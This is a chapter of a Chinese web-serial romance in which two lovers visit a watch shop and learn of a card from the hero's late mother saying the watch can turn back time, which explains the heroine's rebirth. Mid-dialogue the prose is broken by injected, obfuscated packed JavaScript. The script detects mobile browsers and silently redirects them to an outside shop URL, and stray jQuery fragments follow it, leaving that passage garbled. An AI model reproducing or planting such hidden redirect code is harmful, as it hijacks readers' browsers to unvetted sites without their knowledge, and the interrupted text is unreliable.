文趣网 > 其他小说 > 时针回响 > 53. 重生-真心
    抱着试一试的心理,钟知晓将钟表店的消息发给顾应。

    半天没收到回复,对话框依旧只有她的消息。

    钟知晓想也正常吧,应该是在工作,毕竟顾应工作的时候不会看手机,她早就知道。

    经历过许多现实毒打,钟知晓自认为成长了不少,从心态来讲平和了许多。

    但她错了。

    她能做到平静平和,究其原因是不在乎。

    一旦面对在意的人,难免东想西想。

    发出去的消息好几个钟头没有回音,难道还在忙吗?

    会不会意念回复了?

    有点烦人。

    下过雨后的天空仍然燥热,天黑后热气才逐渐消散,过了饭点店里没什么人了,她百无聊赖地在店门口晃荡。

    一会儿蹲下摸摸小猫,一会儿逗逗小狗。

    月亮明晃晃地高高挂在空中,阴晴圆缺从不因人,顺天、顺应自然。

    它明亮地照亮一整片地,树枝在月光的映射下变得柔和。

    从树下走来一人,穿着一身黑,戴着棒球帽,大热天口罩裹得严严实实。

    就连黑色也在月光映衬下显得温柔无比,除了顾应,钟知晓想不到别人。

    隔着几米距离,心心念念的人出现在眼前,钟知晓一时乱了呼吸。

    她努力地克制,步伐缓慢又坚定一步一步向前。

    距离不过半米之遥,钟知晓忘了想要说的话。

    她想问我想你了,你有想我吗?

    哎,该说什么啊。

    问最近好吗?为什么不回我消息?

    最后什么也没说。

    顾应取下口罩轻唤她的名字:“钟知晓。”

    三个字,像是蛊,酥酥麻麻,一字一字叫进心里。

    钟知晓轻轻嗯了一声,抬眼回应道:“顾应。”

    “本来是下午的航班,暴风雨导致延误了。”顾应认真解释道,“不是不回你消息,想当面跟你说。”

    钟知晓轻轻点头又嗯了一声,对视的瞬间,一切都在不言中,全在眼神里。

    钟知晓眼角上扬,面前的这个人眼睛会说话,她看得出来,她也知道。

    他很想她。

    顾应跟着眼角弯弯,虽不知道钟知晓开心什么,可一见着她笑,他也开心,自然而然地笑。

    两个人对着傻笑半晌,钟知晓才想起问:“对了,你怎么突然来锦安了,是来工作吗?”

    “回锦安有些事处理。”最近这段时间,顾应先是回了一趟公司沟通合约的事情,处理余下工作。

    同时让人调查顾家,顺着庞峰那条线顺藤摸瓜,真查到不对劲的地方。

    曾经顾家单方面同他断联,后来得知姥爷姥姥去世,而如今根据他查到的消息得知,姥爷实际被送进了中相化工投资的一家养老机构。

    这次回锦安顾应就是要搞清楚,当年到底发生了什么事。

    除此之外,他也很想念眼前的人。

    顾应嘴唇微张,轻声地说:“我很想你,你有吗?”

    钟知晓心头一动,撇开脸:“也就一点吧。”

    “就一点?”顾应走上前身子微微前倾,盯着她憋着笑。

    钟知晓莫名臊得慌,左右环视一圈,生硬地转移话题:“没尾巴跟你吗?”

    “私事他们跟不到。”

    “哦。”钟知晓垂下眼注意到顾应手上的表,她删繁就简说了下怎么凑巧遇见钟表店。

    “既然你来了,要不现在我们去钟表店找老板?离得不远,一两条街的距离。”

    “好。”说完的下一秒,顾应牵起钟知晓的手,往前跑动。

    猝不及防,钟知晓身体先大脑一步做出反应,跟着顾应跑起来。

    手掌心传来的触感,温热真实,两只手跟随跑动的身体晃动,却越牵越紧。

    跑了几百米钟知晓哎的一声:“方向反了...”

    停下脚步后,一脑门的热汗提醒着二人现在是盛夏,钟知晓却心头畅快轻松,笑出了声。

    顾应眼睛弯弯:“你笑什么?”

    “你没笑?”钟知晓反问得理直气壮。

    “笑了,见到你很开心。”

    “我也是。”

    两人沿着街道奔跑,夏日的夜,微微的风缓解少许燥热,每一个举动每一次呼吸都在说活着真好。

    木质门年代久远,发出微微喑哑的声音,上方的风铃叮叮铛铛轻轻撞击,发出清脆的声音。

    “不好意思,要关门了。”

    老板背对人,正在细细擦拭钟表。

    “老板,白天我们刚见过。”钟知晓走到跟前,指着顾应:“我和朋友一起来了,能不能麻烦你看一眼这块表。”

    老板这才转过身,见顾应目光停留片刻,接过手表细细打量。

    “缘分不浅,小伙子,你这块表是我十七年前卖掉的那块。”

    顾应和钟知晓对视一眼,按老板的长相推断,十七年前估计他也就才十来岁出头。

    这话可信度不高。

    钟知晓小声解释:“老板说他是娃娃脸。”

    顾应若有所思,如果是真的,那时间对得上,因为那时他的确跟着顾云华在锦安生活。

    老板再次直视顾应:“你和你妈妈长得倒很像。”

    他有些惊讶抬眼,这么多年顾应没再从别人口中听到顾云华的半点信息。

    “你认识她?”

    “我记得那时,她一眼相中了这块表,得知这块表代表的含义更是爱不释手。”

    “含义?”

    “这块表代表了真心,讲的是一位母亲对孩子真切的爱,也讲恋人之间的真情。”

    顾应问:“你就见过她一次,十几年还记得?”

    “对,因为你妈妈让人印象深刻。她说要将代表真心的手表留给你,希望你快乐健康。”

    老板从抽屉里找出一张早已备好的卡片,“这是她当年亲手写下这块手表背后代表的含义,也是一位母亲对孩子深切真挚的爱。”

    时隔多年听到关于妈妈的事,而那张卡片也像是早做准备,一切都太巧合。

    顾应眉头微微拧着接过,卡片被保存得很好,十几年过去只有边缘微微发黄。

    不过他认得是妈妈的字迹,娟秀工整。

    老板将目光落回在两人身上,将卡片上的话念了出口:

    「真心之表:一旦受到爱的催化,时间具有逆转重来的力量。」

    轻飘飘的一句话,却重重砸在顾应和钟知晓二人身上。

    重来的力量?

    钟知晓大脑宕机,要么是她听错了,要么是她脑子短路了。

    这卡片的含义,难不成冥冥之中代表着什么?

    钟知晓抬眼望着老板,眼里充满疑惑,这人会是知情者吗?

    她喉咙发紧,半天才张开嘴问道:“怎样才能催化

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17714389|204153||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ?”

    “故事罢了。”老板笑着道,“听听便好。”

    一定是她魔怔了,听见风就是雨。

    但又有话说无风不起浪,钟知晓垂下眼正思考着,听见顾应说:“那这块表还能修吗?”

    “这块表我修不了。”老板将手表还回去,意有所指,“它已经完成了它的使命。”

    推开门的一瞬间,巨大的燥热瞬间袭来,强烈的温差让人感觉愈发炎热。

    钟知晓轻轻戳了戳顾应:“你还好吗,要不要我陪你吃点东西?”

    “不用。”天气炎热,顾应没有胃口,他的手攥紧着卡片。

    顾云华爱他,他从来就知道。

    他曾以为这份爱随着顾云华离开的那天,就没了。

    只是没想到,这份爱延续至今,一直陪着他。

    甚至,真让时间有了逆转重来的力量。

    “不然你陪我呆一会儿。”

    钟知晓自然没异议:“呆两会儿也可以。”

    回了酒店冷空气吹来,两人就像鱼重新回到水中,从燥热天里回过魂。

    半晌顾应回忆起小时候同顾云华相处的点滴,那些记忆一直存放在脑中不曾忘记。

    他翻开手机点开相册,照片一一划过。

    小时候顾云华带他去游乐园开碰碰车。

    去泳池游泳,顾云华在一旁温柔的看着。

    吃麦当劳,冰淇淋糊满他一嘴。

    看得人心都快化了,钟知晓感叹:“阿姨一定是位特别温柔的人。”

    再往后翻,顾云华一袭白裙伫立家门口,温柔又优雅。

    钟知晓看着照片又看看顾应,两人的眉眼确实很相似,怪不得钟表店老板能一眼认出他们是母子。

    她目光又落回到照片上,那脸庞像是在哪里见过,在哪里呢?

    钟知晓仔细搜索一番,没什么印象。

    突然脑海里浮现蓝色气泡咕噜咕噜,水花四溅。

    雾气里出现的那个模糊身影,和眼前照片上的人重叠在一块,变得清晰。

    钟知晓的心重重地下坠,不禁打了个冷颤,起了一身的鸡皮疙瘩。

    “你怎么了,哪里不舒服吗?”顾应见钟知晓脑门冒着冷汗,神色紧张地问。

    顾应的声音将钟知晓唤回现实,她心狂乱跳着暂时处理不了那么多信息,一把抱住顾应,祈求片刻平静。

    人在慌乱时,总是下意识找寻温暖之处。

    顾应轻轻拍着钟知晓的背安抚:“没事没事,有我在。”

    模糊身影、手表指针,以及顾应手表上的九点三十七,不是别的,正是她死去时,手表摔落在地的时间。

    时间具有逆转重来的力量,一切一切都能说通了。

    钟知晓声音有些发哑:“我做了一个梦,梦里跟现在完全不同。”

    顾应迟疑片刻:“那你能跟我说说你的梦吗?”

    “我梦到你被绑架,然后我掉进水里,然后我进入另一个世界,梦见了你的手表。”钟知晓放开手看着顾应,声音发着颤。

    “在那里,我好像见到了阿姨...”

    “她有说什么吗?”顾应微微睁大眼睛,卡片上的话种进了他心里,或许这一切本就不是巧合。

    “什么也没说,她手轻轻一挥,我就醒了。”钟知晓问:“你能明白吗?”

    半晌顾应嘴唇微张:“梦是相反的,你不会再进入另一个世界。”